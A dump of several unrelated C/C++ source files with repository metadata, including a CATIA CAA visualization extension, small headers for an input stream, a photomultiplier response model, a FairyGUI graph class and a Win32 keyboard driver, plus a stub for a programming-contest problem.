{ FreeLibrary(hLIB); (hLIB) = NULL; } } #define SAFE_DELETE(P) { if((P)!=NULL) { delete (P); (P) = NULL; } } #define SAFE_DELETE_ARRAY(P) { if((P)!=NULL) { delete [] (P); (P) = NULL; } } #define SAFE_REGCLOSEKEY(HKEY) { if((HKEY)!=NULL) { RegCloseKey(HKEY); (HKEY) = NULL; } } #define SET_BOTH_ERROR(LOGSTR) SET_USER_ERROR(LOGSTR,LOGSTR) extern void SearchforDriverInfo(const char *driver_filename,ULARGE_INTEGER *pli,SYSTEMTIME *pDriverDate); extern void MyGetModuleVersion(HMODULE hMod, ULARGE_INTEGER *pli); extern void MyGetFileVersion(char *FileName, ULARGE_INTEGER *pli); extern HWND CreateOpenGLWindow(char *title, int pixfmtnum, PIXELFORMATDESCRIPTOR *pPFD, int x, int y, int width, int height, BYTE type, DWORD flags,HDC *hDC); extern void ShowErrorBox(const char *msg); // these flags are for debugging only. might be better to use dbg-only regkeys so dont have to rebuild (but then have to include dbg code) //#define FORBID_OPENGL //#define FORBID_DX8 //#define FORBID_DX7 //#define FORCE_OPENGL //#define FORCE_DX7 // skip DX8 //#define PREFER_DX7 //#define PREFER_DX8 //#define PREFER_OPENGL #define PRINTDRIVER_VERSTR(LARGEINT_VER) HIWORD(LARGEINT_VER.HighPart) << "." << LOWORD(LARGEINT_VER.HighPart) << "." << HIWORD(LARGEINT_VER.LowPart) << "." << LOWORD(LARGEINT_VER.LowPart) #define LARGEINT_EQUAL(LI1,LI2) ((LI1.HighPart==LI2.HighPart)&&(LI1.LowPart==LI2.LowPart)) #endif
[ "brianlach72@gmail.com" ]
brianlach72@gmail.com
677927375a94a0aa16f8f69d62a2bf9450569227
f2ee22679f4015815f567c38089d396971e4c51a
/CAAVisualization.edu/CAAVisManagerImpl.m/src/CAAEVis3DGeoVisuForCGRObject.cpp
9c6307092070a34ea9485142c398fefe3687697b
[]
no_license
poborskii/CAADoc_SelectAgent
72f0a162fa7a502d6763df15d65d76554e9268fe
51e0235ef461b5ac1fd710828c29be4bb538c43c
refs/heads/master
2022-12-06T01:19:28.965598
2020-08-31T02:48:11
2020-08-31T02:48:11
291,596,517
0
0
null
null
null
null
UTF-8
C++
false
false
2,642
cpp
// COPYRIGHT DASSAULT SYSTEMES 2000 // Local Framework #include "CAAEVis3DGeoVisuForCGRObject.h" #include "CAAIVisModelCGRObject.h" // Visualization framework #include "CATRep.h" // Standard Library #include <iostream.h> //------------------------------------------------------------------------------------------- // Creates the TIE Object #include "TIE_CATI3DGeoVisu.h" TIE_CATI3DGeoVisu(CAAEVis3DGeoVisuForCGRObject); // To declare that the class is a data extension of CAAVisModelCGRObject // CATImplementClass(CAAEVis3DGeoVisuForCGRObject,DataExtension,CATBaseUnknown,CAAVisModelCGRObject); // // To declare that CAAEVis3DGeoVisuForCGRObject implements CATI3DGeoVisu, insert // the following line in the interface dictionary: // // CAAVisModelCGRObject CATI3DGeoVisu libCAAVisManagerImpl // //-------------------------------------------------------------------------------------------- CAAEVis3DGeoVisuForCGRObject::CAAEVis3DGeoVisuForCGRObject() { cout << "CAAEVis3DGeoVisuForCGRObject::CAAEVis3DGeoVisuForCGRObject" << endl; } //-------------------------------------------------------------------------------------------- CAAEVis3DGeoVisuForCGRObject::~CAAEVis3DGeoVisuForCGRObject() { cout << "CAAEVis3DGeoVisuForCGRObject::~CAAEVis3DGeoVisuForCGRObject" << endl; UnreferenceRep(); } //-------------------------------------------------------------------------------------------- CATRep * CAAEVis3DGeoVisuForCGRObject::BuildRep() { CATRep * pRepToReturn = NULL ; CAAIVisModelCGRObject *pIVisModelCGRObject =NULL; HRESULT rc = QueryInterface(IID_CAAIVisModelCGRObject,(void **)&pIVisModelCGRObject); if ( SUCCEEDED(rc) ) { CATRep *pRep = NULL ; rc = pIVisModelCGRObject->GetCGRRep(&pRep); if ( SUCCEEDED(rc) ) { pRepToReturn= pRep ; } pIVisModelCGRObject->Release(); pIVisModelCGRObject = NULL ; } return pRepToReturn ; } //------------------------------------------------------------------------------- CATRep * CAAEVis3DGeoVisuForCGRObject::GetRep() { if ( NULL != _rep) return _rep; else { _rep = BuildRep(); if ( NULL != _rep) { // check if default identificator has to be put if ( _rep->GetIdentificator() && ( _rep->GetIdentificator()->GetIntId() == 0 ) ) { CATModelIdentificator ident(this); _rep->SetNewId(ident); } } return _rep; } } //------------------------------------------------------------------------------------ void CAAEVis3DGeoVisuForCGRObject::UnreferenceRep () { _rep = NULL; }
[ "poborsk_liu@613.com" ]
poborsk_liu@613.com
01429d77837fb4cdd178bcdd98b142ba3baab88e
dfab96efeea9646fe54bd54ea91bc75e8086e892
/InputStream.h
3745f086a96120eddbc9f6ceb10126dbbc8a3ea3
[]
no_license
lisaula/Compi_exam
8be7202e0d1861873a1cf12b9a94d46109ec51bc
50ee480a22b4294415ae8f9c8feb2dfbd2dc2779
refs/heads/master
2020-12-30T11:51:18.926076
2017-05-17T03:16:34
2017-05-17T03:16:34
91,528,679
0
0
null
null
null
null
UTF-8
C++
false
false
308
h
#ifndef INPUTSTREAM_H #define INPUTSTREAM_H #include <string.h> class InputStream { public: unsigned int contador, length; char* code; InputStream(char* code); char getNextSymbol(); virtual ~InputStream(); protected: private: }; #endif // INPUTSTREAM_H
[ "luisca_elfather@hotmail.com" ]
luisca_elfather@hotmail.com
4dd2aef926f67ec4c1b7fad95ecaa1ad32902670
81ca44fbdc15a9e593998a6ea0611918fb08e132
/101-the_block_problem/main.cpp
57a6e8836cf3c8998f6a2df21f1d4edccdbe0a46
[]
no_license
hugues-vincent/uva
613be2ac1314611b0b951a21192e9cf1cbb38fe7
39498a9e9302aed60da924990b5408363002a171
refs/heads/master
2020-04-06T16:54:18.611529
2018-11-29T19:31:55
2018-11-29T19:31:55
157,638,707
0
0
null
null
null
null
UTF-8
C++
false
false
277
cpp
#include <iostream> using namespace std; int main() { int n, a, b; char word1[4], word2[4]; string foo; bool quit = false; scanf("%d", &n); while(!quit){ scanf("%s", word1); if(word1) cout << word1; } return 0; }
[ "hugues.vincent.ropert@tetha.pw" ]
hugues.vincent.ropert@tetha.pw
9dc77114c43945fb979a6c635f71771a3ab74378
52dab43236a9b0cd0f406aaf6c15f145f1376c98
/cpp/include/PMTResponse.h
9d24680ccc20b3058521049668709cae26040034
[]
no_license
Abdoelabassi/MDT
1f94162cece50384059703e8618365250994d46b
27fae8e9cf2d04cca48a117fa4216d474a6cab61
refs/heads/master
2023-07-27T12:34:36.563250
2021-06-18T17:49:16
2021-06-18T17:49:16
null
0
0
null
null
null
null
UTF-8
C++
false
false
611
h
#pragma once #include <iostream> #include <string> #include <cmath> #include "MTRandom.h" // Manage: // // - generation of SPE // - timing resolution // // for R12199_02 3'' PMT for mPMT // // The implementations are based on: // - WCSimPMTObject.cc // - WCSimWCDigitizer.cc class PMTResponse { public: PMTResponse(const int); virtual ~PMTResponse(); double GetRawSPE(); float HitTimeSmearing(float); private: MTRandom *fRand; static const float fqpe0[501]; float fTResConstant; float fTResMinimum; float fSclFacTTS; };
[ "rakutsu@icrr.u-tokyo.ac.jp" ]
rakutsu@icrr.u-tokyo.ac.jp
dbdba54fb1b975368a1b7cd2e2dc58a92199ee80
37dfdfbae6886a23cf6a3626a05f57869a89b3f5
/Source/FairyGUIEnginePlugin/fairygui/GGraph.h
6beec50ad741e62745d6be3a2ecede54427e1dbb
[ "MIT" ]
permissive
fhaoquan/FairyGUI-vision
8dbf79982d2c9b07e0f8fe73ada1f5c91dee2ef8
63c2f5a4bfc7e3db954ef55a689be26b9a0f3518
refs/heads/master
2020-03-30T22:33:17.013554
2018-05-24T15:07:44
2018-05-24T15:07:44
null
0
0
null
null
null
null
UTF-8
C++
false
false
912
h
#ifndef __GGRAPH_H__ #define __GGRAPH_H__ #include "FGUIMacros.h" #include "GObject.h" #include "core/Shape.h" #include "gears/GearColor.h" NS_FGUI_BEGIN class FGUI_IMPEXP GGraph : public GObject, public IColorGear { public: CREATE_FUNC(GGraph); void drawRect(float aWidth, float aHeight, int lineSize, const VColorRef& lineColor, const VColorRef& fillColor); void drawEllipse(float aWidth, float aHeight, const VColorRef& fillColor); bool isEmpty() const { return _shape->isEmpty(); } const VColorRef& getColor() const override; void setColor(const VColorRef& value) override; protected: GGraph(); virtual ~GGraph(); protected: virtual void handleInit() override; virtual void setup_BeforeAdd(TXMLElement* xml) override; private: Shape *_shape; private: CC_DISALLOW_COPY_AND_ASSIGN(GGraph); }; NS_FGUI_END #endif
[ "gzytom@139.com" ]
gzytom@139.com
ad0c5bf8c38eb132b7f73a2946f08ebdb4172d01
857eb9ffc1385b5a2eac2ff95f9dcd68d50c170b
/include/subsystem_controllers/chassis_controller.hpp
e3ceea36ff417745d5991bbeb5c9c582390de6bd
[]
no_license
77788J/77788J-TP-Mark-III
8823ce3fb7a0f497e94b6c7f27e68da48b53c7e1
6792e670d0917a5225743cc2093d5753c0a69f95
refs/heads/master
2022-01-10T09:14:49.795439
2019-05-15T18:14:31
2019-05-15T18:14:31
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,196
hpp
#ifndef CHASSIS_CONTROLLER_H_ #define CHASSIS_CONTROLLER_H_ #include "subsystem_interfaces/chassis_interface.hpp" namespace chassis_controller { enum MovementMode { none, dist_pid, rot_pid }; extern MovementMode mode; typedef struct PidConstants { float kp; // proportional constant float ki; // integral constant float kd; // derivative constant float max_accel; // maximum acceleration (vel difference per 10ms) int max_voltage; // max voltage to apply int min_voltage; // minimum voltage to supply } PidConstants; // constants extern PidConstants dist_pid_constants; extern PidConstants orientation_pid_constants; // move distance with custom PID controller void move_dist_pid(units::Distance dist, PidConstants constants=dist_pid_constants, bool wait=true, bool* flag=nullptr); // move dist (PID) (with timeout) void move_dist_pid(units::Distance dist, units::Time timeout, bool* flag=nullptr); // rotate with custom PID controller void rotate_pid(units::Angle orientation, PidConstants constants=orientation_pid_constants, bool wait=true, bool* flag=nullptr); // update controller void update(); } #endif
[ "zachchampion79@gmail.com" ]
zachchampion79@gmail.com
fd13c84fd43a3097424d69ac87d5509ecb07a4b3
eedd904304046caceb3e982dec1d829c529da653
/clanlib/ClanLib-2.2.8/Sources/API/Crypto/private_key.h
fa5e55a7cdd7a1b53e702ea4a2f9cb5c84658abe
[]
no_license
PaulFSherwood/cplusplus
b550a9a573e9bca5b828b10849663e40fd614ff0
999c4d18d2dd4d0dd855e1547d2d2ad5eddc6938
refs/heads/master
2023-06-07T09:00:20.421362
2023-05-21T03:36:50
2023-05-21T03:36:50
12,607,904
4
0
null
null
null
null
UTF-8
C++
false
false
1,875
h
/* ** ClanLib SDK ** Copyright (c) 1997-2011 The ClanLib Team ** ** This software is provided 'as-is', without any express or implied ** warranty. In no event will the authors be held liable for any damages ** arising from the use of this software. ** ** Permission is granted to anyone to use this software for any purpose, ** including commercial applications, and to alter it and redistribute it ** freely, subject to the following restrictions: ** ** 1. The origin of this software must not be misrepresented; you must not ** claim that you wrote the original software. If you use this software ** in a product, an acknowledgment in the product documentation would be ** appreciated but is not required. ** 2. Altered source versions must be plainly marked as such, and must not be ** misrepresented as being the original software. ** 3. This notice may not be removed or altered from any source distribution. ** ** Note: Some of the libraries ClanLib may link to may have additional ** requirements or restrictions. ** ** File Author(s): ** ** Magnus Norddahl */ #pragma once /// \addtogroup clanCrypto_System clanCrypto System /// \{ #include <prio.h> #include <keyt.h> /// \brief Private Key /// /// \xmlonly !group=Crypto/System! !header=crypto.h! \endxmlonly class CL_PrivateKey { /// \name Construction /// \{ public: CL_PrivateKey(); /// \brief Constructs a PrivateKey /// /// \param key = SECKEYPrivate Key CL_PrivateKey(SECKEYPrivateKey *key); /// \brief Constructs a PrivateKey /// /// \param copy = Private Key CL_PrivateKey(const CL_PrivateKey &copy); ~CL_PrivateKey(); /// \} /// \name Attributes /// \{ public: SECKEYPrivateKey *key; /// \} /// \name Operations /// \{ public: CL_PrivateKey &operator =(const CL_PrivateKey &copy); /// \} /// \name Implementation /// \{ private: /// \} }; /// \}
[ "paulfsherwood@gmail.com" ]
paulfsherwood@gmail.com
724e67fc4575acf98d2e9dc38a75c5cccda53f0a
823d02e7c97162bb6a129fa902bc5d53a6cf5de7
/Utils/CodeLib.1/Cabs/CabView/OS.H
b6fe8d2c7747f62e7751fd1140767639df620dc8
[ "MIT" ]
permissive
starpeace-project/starpeace-original
c14d855253d20352b33c9663ce02d833a6f1eb39
74e773b88eedf3d089a6cf01b70b01a6ade4cd03
refs/heads/master
2023-09-01T10:47:45.382288
2021-09-20T17:24:49
2021-09-20T17:24:49
104,656,682
4
1
null
2021-09-20T17:24:51
2017-09-24T15:54:58
Pascal
UTF-8
C++
false
false
574
h
//******************************************************************************************* // // Filename : Os.h // // CFileTime // // Copyright (c) 1994 - 1996 Microsoft Corporation. All rights reserved // //******************************************************************************************* #ifndef _OS_H_ #define _OS_H_ class CFileTime { public: CFileTime() {} ~CFileTime() {} static void DateTimeToString(WORD wDate, WORD wTime, LPSTR pszText); private: static void FileTimeToDateTimeString(LPFILETIME lpft, LPSTR pszText); } ; #endif // _OS_H_
[ "ron.appleton@gmail.com" ]
ron.appleton@gmail.com
6d83a29764a72a3351bb135a7811da422873f55d
5499e8b91353ef910d2514c8a57a80565ba6f05b
/src/connectivity/wlan/drivers/third_party/broadcom/brcmfmac/test/sim_test.cc
1530fbde4a93f0ec8952efb9250a5557b2818a18
[ "BSD-3-Clause", "ISC" ]
permissive
winksaville/fuchsia
410f451b8dfc671f6372cb3de6ff0165a2ef30ec
a0ec86f1d51ae8d2538ff3404dad46eb302f9b4f
refs/heads/master
2022-11-01T11:57:38.343655
2019-11-01T17:06:19
2019-11-01T17:06:19
223,695,500
3
2
BSD-3-Clause
2022-10-13T13:47:02
2019-11-24T05:08:59
C++
UTF-8
C++
false
false
2,144
cc
// Copyright 2019 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "sim_test.h" #include <gtest/gtest.h> #include "src/connectivity/wlan/drivers/testing/lib/sim-device/device.h" #include "src/connectivity/wlan/drivers/testing/lib/sim-env/sim-env.h" #include "src/connectivity/wlan/drivers/third_party/broadcom/brcmfmac/sim_device.h" namespace wlan::brcmfmac { intptr_t SimTest::instance_num_ = 0; SimTest::SimTest() { env_ = std::make_shared<simulation::Environment>(); env_->AddStation(this); dev_mgr_ = std::make_shared<simulation::FakeDevMgr>(); parent_dev_ = reinterpret_cast<zx_device_t*>(instance_num_++); } zx_status_t SimTest::Init() { return brcmfmac::SimDevice::Create(parent_dev_, dev_mgr_, env_, &device_); } zx_status_t SimTest::CreateInterface(wlan_info_mac_role_t role, const wlanif_impl_ifc_protocol& sme_protocol, std::unique_ptr<SimInterface>* ifc_out) { zx_status_t status; std::unique_ptr<SimInterface> sim_ifc = std::make_unique<SimInterface>(); if ((status = sim_ifc->Init()) != ZX_OK) { return status; } wlanphy_impl_create_iface_req_t req = {.role = role, .sme_channel = sim_ifc->ch_mlme_}; if ((status = device_->WlanphyImplCreateIface(&req, &sim_ifc->iface_id_)) != ZX_OK) { return status; } // This should have created a WLANIF_IMPL device auto device_info = dev_mgr_->FindFirstByProtocolId(ZX_PROTOCOL_WLANIF_IMPL); if (device_info == std::nullopt) { return ZX_ERR_INTERNAL; } sim_ifc->if_impl_args_ = device_info->dev_args; auto if_impl_ops = static_cast<wlanif_impl_protocol_ops_t*>(sim_ifc->if_impl_args_.proto_ops); zx_handle_t sme_ch; status = if_impl_ops->start(device_info->dev_args.ctx, &sme_protocol, &sme_ch); // Verify that the channel passed back from start() is the same one we gave to create_iface() if (sme_ch != sim_ifc->ch_mlme_) { return ZX_ERR_INTERNAL; } *ifc_out = std::move(sim_ifc); return ZX_OK; } } // namespace wlan::brcmfmac
[ "commit-bot@chromium.org" ]
commit-bot@chromium.org
195eee30caf0dd73e89bfe4f3afaf013d52dff6d
6fd3d7340eaaab551a22f5918d3c5fd3d27040c0
/SERVERS/WorldServer/DB_UpdatePlayerFlag.h
d20dc696a5ac6102cb3f26cac9f6c2db248f7670
[]
no_license
Aden2018/WinServer
beda5bb9058a08d1961f2852b48ca5217ca80e86
f3c068cd8afed691e32fc6516060187014ba3a71
refs/heads/master
2023-03-18T20:10:55.698791
2018-03-02T03:50:21
2018-03-02T03:50:21
null
0
0
null
null
null
null
UTF-8
C++
false
false
334
h
#ifndef _DB_UPDATEPLAYERFLAG_H_ #define _DB_UPDATEPLAYERFLAG_H_ #include "CommLib/ThreadPool.h" class DB_UpdatePlayerFlag : public ThreadBase { public: DB_UpdatePlayerFlag(void); //method from ThreadBase virtual int Execute(int ctxId,void* param); U32 mPlayerId; U32 mPlayerFlag; }; #endif /*_DBUPDATEACCOUNTTIME_*/
[ "754266963@qq.com" ]
754266963@qq.com
cba1292722f345ddde3d202149cb2a2ebb0e0716
6fa5433c3a3c5fbc74b7242a2d0160b212bcd847
/多进程/copyProgress/main.cpp
a63311c90d51010b532c124edcf78f7a98545b7b
[]
no_license
arafatms/Linux-Resource-manager
8c5165e1a1f27ab13c1477fe58f1ec021dd463d3
9f4a5b0482c207b402c51d4333fb1ffecd1ca158
refs/heads/master
2021-06-06T21:01:15.379886
2018-08-25T12:07:41
2018-08-25T12:07:41
146,092,096
1
0
null
null
null
null
UTF-8
C++
false
false
2,190
cpp
#include "mainwindow.h" #include <QApplication> #include "sem_shm.h" int main(int argc, char *argv[]) { using namespace std; QApplication a(argc, argv); MainWindow w; w.show(); struct sembuf sops; int ret, status; semun arg; int shmid = shmget(MY_KEY, sizeof(BUFF_T), IPC_CREAT | 0666); //0666表示:创建者和其他用户创建的进程都可以进行读和写操作, 4为只读 if(-1 == shmid){ cout << "shmget () error !" << endl; return 0; } //失败返回-1, 成功返回指向共享内存第一个字节的指针。 BUFF_T* sMem = (BUFF_T *)shmat(shmid, NULL, SHM_R | SHM_W); // NULL表示让系统自动分配内存地址 if((void *)-1 == sMem){ cout << "shmid () error !" << endl; return 0; } cout << "main :共享内存连接地址: " << (int*)sMem << endl ; semid = semget(888, 2, IPC_CREAT|0600); // 创建信号灯,自动,2个,不存在则创建。成功返回信号灯集ID,失败返回-1 if (semid == -1) { cout << "create sem failed!" << endl; return -1; } //对信号灯 赋初值1 (1表示占用) arg.val = 8; ret = semctl(semid, 0, SETVAL, arg); if (ret == -1) cout << "semctl failed!" << endl; arg.val = 0; ret = semctl(semid, 1, SETVAL, arg); if (ret == -1) cout << "semctl failed!" << endl; pid_t pw, pr; pr = fork(); //创建进程 if(!pr){ //读进程 char *a[]={NULL}; execv("//home/ezio/os-keshe/1/build-Read-Desktop_Qt_5_10_1_GCC_64bit-Debug/Read", a); } else{ pw = fork(); if(!pw){ //写进程 char *a[]={NULL}; execv("//home/ezio/os-keshe/1/build-Write-Desktop_Qt_5_10_1_GCC_64bit-Debug/Write", a); } else{ //主进程 //删除信号灯,删除共享内存 } } return a.exec(); }
[ "arafatms@outlook.com" ]
arafatms@outlook.com
40d5afedf21f32751b2db0f4be74ce871f8452d7
dac35c7e3d56879016a98a2d0d72100b175e4517
/OpenWorld/Source/OpenWorld/OpenWorldCharacter.cpp
e6694664a04363cb0beec6322de2106813332ec6
[]
no_license
TheK-B1000/OpenWorld
b00df3ff1b8a79c21e9cdc6392fbf35360b9e74d
01b497ea4cb463f6f31b7860665e8fd3d4a65ac9
refs/heads/master
2020-12-04T22:29:50.064107
2020-01-06T15:14:36
2020-01-06T15:14:36
231,922,669
0
0
null
null
null
null
UTF-8
C++
false
false
5,296
cpp
// Copyright 1998-2019 Epic Games, Inc. All Rights Reserved. #include "OpenWorldCharacter.h" #include "HeadMountedDisplayFunctionLibrary.h" #include "Camera/CameraComponent.h" #include "Components/CapsuleComponent.h" #include "Components/InputComponent.h" #include "GameFramework/CharacterMovementComponent.h" #include "GameFramework/Controller.h" #include "GameFramework/SpringArmComponent.h" ////////////////////////////////////////////////////////////////////////// // AOpenWorldCharacter AOpenWorldCharacter::AOpenWorldCharacter() { // Set size for collision capsule GetCapsuleComponent()->InitCapsuleSize(42.f, 96.0f); // set our turn rates for input BaseTurnRate = 45.f; BaseLookUpRate = 45.f; // Don't rotate when the controller rotates. Let that just affect the camera. bUseControllerRotationPitch = false; bUseControllerRotationYaw = false; bUseControllerRotationRoll = false; // Configure character movement GetCharacterMovement()->bOrientRotationToMovement = true; // Character moves in the direction of input... GetCharacterMovement()->RotationRate = FRotator(0.0f, 540.0f, 0.0f); // ...at this rotation rate GetCharacterMovement()->JumpZVelocity = 600.f; GetCharacterMovement()->AirControl = 0.2f; // Create a camera boom (pulls in towards the player if there is a collision) CameraBoom = CreateDefaultSubobject<USpringArmComponent>(TEXT("CameraBoom")); CameraBoom->SetupAttachment(RootComponent); CameraBoom->TargetArmLength = 300.0f; // The camera follows at this distance behind the character CameraBoom->bUsePawnControlRotation = true; // Rotate the arm based on the controller // Create a follow camera FollowCamera = CreateDefaultSubobject<UCameraComponent>(TEXT("FollowCamera")); FollowCamera->SetupAttachment(CameraBoom, USpringArmComponent::SocketName); // Attach the camera to the end of the boom and let the boom adjust to match the controller orientation FollowCamera->bUsePawnControlRotation = false; // Camera does not rotate relative to arm // Note: The skeletal mesh and anim blueprint references on the Mesh component (inherited from Character) // are set in the derived blueprint asset named MyCharacter (to avoid direct content references in C++) } ////////////////////////////////////////////////////////////////////////// // Input void AOpenWorldCharacter::SetupPlayerInputComponent(class UInputComponent* PlayerInputComponent) { // Set up gameplay key bindings check(PlayerInputComponent); PlayerInputComponent->BindAction("Jump", IE_Pressed, this, &ACharacter::Jump); PlayerInputComponent->BindAction("Jump", IE_Released, this, &ACharacter::StopJumping); PlayerInputComponent->BindAxis("MoveForward", this, &AOpenWorldCharacter::MoveForward); PlayerInputComponent->BindAxis("MoveRight", this, &AOpenWorldCharacter::MoveRight); // We have 2 versions of the rotation bindings to handle different kinds of devices differently // "turn" handles devices that provide an absolute delta, such as a mouse. // "turnrate" is for devices that we choose to treat as a rate of change, such as an analog joystick PlayerInputComponent->BindAxis("Turn", this, &APawn::AddControllerYawInput); PlayerInputComponent->BindAxis("TurnRate", this, &AOpenWorldCharacter::TurnAtRate); PlayerInputComponent->BindAxis("LookUp", this, &APawn::AddControllerPitchInput); PlayerInputComponent->BindAxis("LookUpRate", this, &AOpenWorldCharacter::LookUpAtRate); // handle touch devices PlayerInputComponent->BindTouch(IE_Pressed, this, &AOpenWorldCharacter::TouchStarted); PlayerInputComponent->BindTouch(IE_Released, this, &AOpenWorldCharacter::TouchStopped); // VR headset functionality PlayerInputComponent->BindAction("ResetVR", IE_Pressed, this, &AOpenWorldCharacter::OnResetVR); } void AOpenWorldCharacter::OnResetVR() { UHeadMountedDisplayFunctionLibrary::ResetOrientationAndPosition(); } void AOpenWorldCharacter::TouchStarted(ETouchIndex::Type FingerIndex, FVector Location) { Jump(); } void AOpenWorldCharacter::TouchStopped(ETouchIndex::Type FingerIndex, FVector Location) { StopJumping(); } void AOpenWorldCharacter::TurnAtRate(float Rate) { // calculate delta for this frame from the rate information AddControllerYawInput(Rate * BaseTurnRate * GetWorld()->GetDeltaSeconds()); } void AOpenWorldCharacter::LookUpAtRate(float Rate) { // calculate delta for this frame from the rate information AddControllerPitchInput(Rate * BaseLookUpRate * GetWorld()->GetDeltaSeconds()); } void AOpenWorldCharacter::MoveForward(float Value) { if ((Controller != NULL) && (Value != 0.0f)) { // find out which way is forward const FRotator Rotation = Controller->GetControlRotation(); const FRotator YawRotation(0, Rotation.Yaw, 0); // get forward vector const FVector Direction = FRotationMatrix(YawRotation).GetUnitAxis(EAxis::X); AddMovementInput(Direction, Value); } } void AOpenWorldCharacter::MoveRight(float Value) { if ( (Controller != NULL) && (Value != 0.0f) ) { // find out which way is right const FRotator Rotation = Controller->GetControlRotation(); const FRotator YawRotation(0, Rotation.Yaw, 0); // get right vector const FVector Direction = FRotationMatrix(YawRotation).GetUnitAxis(EAxis::Y); // add movement in that direction AddMovementInput(Direction, Value); } }
[ "k-b0514@hotmail.com" ]
k-b0514@hotmail.com
78f927941b1965b36356c3a549fa4f20f87ffabb
eee2f48594874f5138a0da8fa1a5a4db3c6817dc
/RTC_DS1307.h
395695409eb55641b6979fda47970cc2031fd13e
[]
no_license
CNCBASHER/AnyRtc
79a8c39788066fe4db3a777702c6e77b098deb51
3d807561d8d44a3c6dd49f928aac19f37ea17385
refs/heads/master
2021-01-17T22:02:43.178887
2012-06-24T02:45:29
2012-06-24T02:45:29
null
0
0
null
null
null
null
UTF-8
C++
false
false
602
h
// Code by JeeLabs http://news.jeelabs.org/code/ // Released to the public domain! Enjoy! #ifndef __RTC_DS1307_H__ #define __RTC_DS1307_H__ #include <AnyRtc.h> #include <Wire.h> // RTC based on the DS1307 chip connected via I2C and the Wire library class RTC_DS1307: public IRTC { public: uint8_t begin(void); void adjust(const DateTime& dt); uint8_t isrunning(void); DateTime nowDateTime(void) const; void adjust(uint32_t tv) { adjust(DateTime(tv)); } uint32_t now(void) const { return nowDateTime().unixtime(); } }; #endif // __RTC_DS1307_H__ // vim:ci:sw=4 sts=4 ft=cpp
[ "maniacbug@ymail.com" ]
maniacbug@ymail.com
7942f258eb801d0d8b757482a9d9ecc46cb49336
dca28153d0fbfef939ce3a8a51135e95499dfa0c
/readMatrix.cpp
e09a32a78b2d6f625c543b44ea8baff0735e2a7c
[]
no_license
htimsnahtan/matrix-calculator
aaf4d3f3691aef43187ada074320e4bc9e25e8d8
5a81d10d992b66add7706fc06edbd73f81df7267
refs/heads/main
2020-03-22T14:44:58.109575
2018-07-20T20:50:00
2018-07-20T20:50:00
140,202,590
0
0
null
null
null
null
UTF-8
C++
false
false
621
cpp
#include "readMatrix.hpp" #include <iostream> /* Give 2 inputs of a pointer to a square 2d array and the size of the matrix, prompts user to input integers into each point on the matrix. Does not return. */ void readMatrix(int **arrayPtrIn, int matrixSizeIn) { std::cout << "Enter " << matrixSizeIn*matrixSizeIn << " numbers separated by the Enter key (counting left to right from top, left point in matrix" << std::endl; for (int i = 0; i < matrixSizeIn; ++i) for (int j = 0; j < matrixSizeIn; ++j) { std::cin >> arrayPtrIn[i][j]; } }
[ "htimsnahtan@gmail.com" ]
htimsnahtan@gmail.com
efad31c9898834a98eb1b26ff247c60c4f288427
38c10c01007624cd2056884f25e0d6ab85442194
/chrome/browser/ui/views/crypto_module_password_dialog_view_unittest.cc
74279192c4f35b8823f2d89cdb7e00b43858ba09
[ "BSD-3-Clause" ]
permissive
zenoalbisser/chromium
6ecf37b6c030c84f1b26282bc4ef95769c62a9b2
e71f21b9b4b9b839f5093301974a45545dad2691
refs/heads/master
2022-12-25T14:23:18.568575
2016-07-14T21:49:52
2016-07-23T08:02:51
63,980,627
0
2
BSD-3-Clause
2022-12-12T12:43:41
2016-07-22T20:14:04
null
UTF-8
C++
false
false
1,674
cc
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/ui/views/crypto_module_password_dialog_view.h" #include <string> #include "base/bind.h" #include "base/strings/utf_string_conversions.h" #include "chrome/browser/ui/crypto_module_password_dialog.h" #include "testing/gtest/include/gtest/gtest.h" #include "ui/views/controls/textfield/textfield.h" namespace chrome { class CryptoModulePasswordDialogViewTest : public testing::Test { public: CryptoModulePasswordDialogViewTest() {} ~CryptoModulePasswordDialogViewTest() override {} void Capture(const std::string& text) { text_ = text; } void CreateCryptoDialog(const CryptoModulePasswordCallback& callback) { dialog_.reset(new CryptoModulePasswordDialogView("slot", kCryptoModulePasswordKeygen, "server", callback)); } std::string text_; scoped_ptr<CryptoModulePasswordDialogView> dialog_; }; TEST_F(CryptoModulePasswordDialogViewTest, TestAccept) { CryptoModulePasswordCallback cb( base::Bind(&CryptoModulePasswordDialogViewTest::Capture, base::Unretained(this))); CreateCryptoDialog(cb); EXPECT_EQ(dialog_->password_entry_, dialog_->GetInitiallyFocusedView()); EXPECT_TRUE(dialog_->GetModalType() != ui::MODAL_TYPE_NONE); const std::string kPassword = "diAl0g"; dialog_->password_entry_->SetText(base::ASCIIToUTF16(kPassword)); EXPECT_TRUE(dialog_->Accept()); EXPECT_EQ(kPassword, text_); const base::string16 empty; EXPECT_EQ(empty, dialog_->password_entry_->text()); } } // namespace chrome
[ "zeno.albisser@hemispherian.com" ]
zeno.albisser@hemispherian.com
c9db5511b866f14f8b7725eceb15d9265d5f6218
f53cf175a3fff8250f813c37922d737fb1648b36
/IDE/include/tv/win32/key.h
784facc06ec3f068fed7d85e843f5b9e678a3f4e
[ "MIT" ]
permissive
paule32/forth2asm
fbbe8e83a091dff62c021e73a2a6b69737645861
b1208581cd94017f8207b4b3bff28f0bce81ff7e
refs/heads/master
2020-09-20T15:08:48.218929
2019-12-27T16:29:15
2019-12-27T16:29:15
224,518,576
0
1
MIT
2019-12-09T00:18:34
2019-11-27T21:18:40
C++
UTF-8
C++
false
false
2,001
h
/* Win32 screen routines header. Copyright (c) 2002 by Salvador E. Tropea (SET) Covered by the GPL license. */ // This headers needs windows header #if defined(TVOS_Win32) && !defined(WIN32KEY_HEADER_INCLUDED) #define WIN32KEY_HEADER_INCLUDED struct TEvent; const unsigned eventKeyboardQSize=16; // A class to encapsulate the globals, all is static! class TGKeyWin32 : public TGKey { public: TGKeyWin32() {}; // Function replacements //static void Suspend(); //static void Resume(); static int KbHit(); //static void Clear(); //static ushort GKey(); static unsigned GetShiftState(); static void FillTEvent(TEvent &e); //static void SetKbdMapping(int version); // Setup the pointers to point our members static void Init(); static void DeInit(); protected: // For this driver // Extract the shift state from the event (also used by the mouse class) static void ProcessControlKeyState(INPUT_RECORD *ir); // Translate Win32 shift state values to TV equivalents static ushort transShiftState(DWORD state); // Translate Win32 key events to TV equivalents static int transKeyEvent(KeyDownEvent &dst, 